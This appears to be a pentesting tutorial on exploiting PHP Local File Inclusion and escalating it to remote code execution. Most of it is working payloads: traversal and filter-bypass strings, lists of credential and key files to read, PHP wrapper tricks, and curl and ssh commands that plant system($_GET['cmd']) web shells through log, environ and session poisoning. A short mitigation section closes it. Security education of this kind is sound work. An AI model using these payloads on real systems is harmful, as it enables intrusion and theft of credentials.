Local File Inclusion (LFI) is a web vulnerability that allows an attacker to read files from the server’s filesystem by manipulating a parameter that includes file paths. While reading sensitive files like /etc/passwd or configuration files is damaging on its own, LFI becomes critical when it can be escalated to Remote Code Execution (RCE). This guide covers LFI detection, exploitation, bypass techniques, and three reliable paths from LFI to RCE.
What Is Local File Inclusion?
LFI arises when a web application uses user-controlled input to construct a file path without proper sanitisation. A typical vulnerable PHP pattern:
<?php
// Vulnerable code
$page = $_GET['page'];
include($page);
?>
// Attacker request:
// https://example.com/index.php?page=../../../../etc/passwd
Detecting LFI
Look for parameters that accept filenames or paths: page=, file=, include=, template=, view=, path=. Test with path traversal sequences to confirm:
# Basic path traversal
?page=../../../../etc/passwd
?page=../../../../etc/passwd%00 # Null byte (PHP < 5.3)
?page=....//....//....//etc/passwd # Bypass filter stripping ../
?page=..%2f..%2f..%2fetc%2fpasswd # URL-encoded
?page=%252e%252e%252fetc/passwd # Double URL-encoded
# Windows targets
?page=........windowssystem32driversetchosts
?page=C:WindowsSystem32driversetchosts
Useful Files to Read
# Linux
/etc/passwd # Users
/etc/shadow # Hashes (if readable)
/etc/hosts # Network config
/proc/self/environ # Environment variables (may contain paths, credentials)
/proc/self/cmdline # Current process command
/var/log/apache2/access.log # Apache log (for log poisoning)
/var/log/nginx/access.log # Nginx log
/var/log/auth.log # SSH auth log
~/.ssh/id_rsa # SSH private key
/var/www/html/config.php # App config (credentials)
PHP Wrappers
PHP stream wrappers extend LFI capabilities significantly — they can bypass include path restrictions, read PHP source code, and even execute code.
# php://filter — read PHP source as base64 (bypass execution)
?page=php://filter/convert.base64-encode/resource=config.php
# Decode the output: echo "BASE64_STRING" | base64 -d
# php://input — execute POST data as PHP (write-enabled include)
# Request body: <?php system($_GET['cmd']); ?>
?page=php://input&cmd=id
# data:// — embed PHP code directly in URL (allow_url_include must be on)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id
# phar:// — execute PHP in PHAR archives (useful with file uploads)
LFI to RCE: Log Poisoning
Log poisoning is one of the most reliable LFI-to-RCE paths. If you can read the web server’s access log and the server logs your User-Agent or other request fields, you can inject PHP code into the log file, then include it via LFI to execute it.
# Step 1: Confirm log file is readable via LFI
?page=../../../../var/log/apache2/access.log
# Step 2: Inject PHP code into the log via User-Agent
curl -s "http://target.com/" -H "User-Agent: <?php system($_GET['cmd']); ?>"
# Step 3: Include the log file and execute commands
?page=../../../../var/log/apache2/access.log&cmd=id
?page=../../../../var/log/apache2/access.log&cmd=cat+/etc/passwd
# Alternative: SSH auth log poisoning (if SSH is running)
# Try to log in with PHP code as the username:
ssh '<?php system($_GET["cmd"]); ?>'@target.com
# Then include /var/log/auth.log via LFI
LFI to RCE: /proc/self/environ Poisoning
If /proc/self/environ is readable and the server reflects environment variables like HTTP_USER_AGENT, inject PHP code there:
# Check if readable first
?page=../../../../proc/self/environ
# Inject via User-Agent, then include environ
curl "http://target.com/?page=../../../../proc/self/environ&cmd=id" -H "User-Agent: <?php passthru($_GET['cmd']); ?>"
LFI to RCE: Session File Poisoning
PHP session files are stored in predictable locations. If you can control data stored in your session and read the session file via LFI, you can inject and execute PHP code.
# Default PHP session locations:
# /var/lib/php/sessions/sess_SESSIONID
# /tmp/sess_SESSIONID
# Step 1: Set a PHP payload in a session parameter (e.g., profile field)
# Request: POST /profile HTTP/1.1
# Body: username=<?php system($_GET['cmd']); ?>
# Step 2: Include your session file
?page=../../../../var/lib/php/sessions/sess_YOUR_SESSION_ID&cmd=id
# Get your session ID from the PHPSESSID cookie
Filter Bypass Techniques
# Application strips "../"
?page=....//....//etc/passwd # Double dot-slash
?page=..././..././etc/passwd # Mixed separators
# Application prepends a path
# Source: include("/var/www/html/" . $page . ".php");
# Null byte bypass (PHP < 5.3.4):
?page=../../../../etc/passwd%00
# PHP wrapper bypass for extension append:
?page=php://filter/convert.base64-encode/resource=../../../../etc/passwd
Mitigation Recommendations
The most effective defence is to never use user input directly in file include functions. Use a whitelist of allowed page names mapped to safe file paths. Disable dangerous PHP wrappers in php.ini: set allow_url_include = Off and allow_url_fopen = Off. Use open_basedir to restrict PHP’s file access to the web root. Rotate and restrict access to log files. Implement a WAF with path traversal signatures. Validate and sanitise all file path parameters with realpath() and check the resulting path starts with the expected directory.
Conclusion
LFI is frequently categorised as a medium-severity vulnerability, but its escalation potential to RCE via log poisoning, wrapper abuse, or session file injection makes it critical in many configurations. When you find LFI during a pentest, always pursue the RCE angle — the difference between reading /etc/passwd and achieving a reverse shell can be as simple as one poisoned User-Agent header.
Frequently Asked Questions
What is the difference between LFI and RFI?
LFI (Local File Inclusion) reads files from the server’s own filesystem. RFI (Remote File Inclusion) fetches and executes a file from an attacker-controlled remote server — it requires allow_url_include = On, which is disabled by default in modern PHP configurations. LFI is far more common in practice.
Does LFI always lead to RCE?
No. LFI-to-RCE requires specific conditions: access to a writable or injectable file (log, session, environ), PHP wrappers enabled, or a file upload endpoint. Without these, LFI is limited to file reading — still valuable for credential disclosure and lateral movement.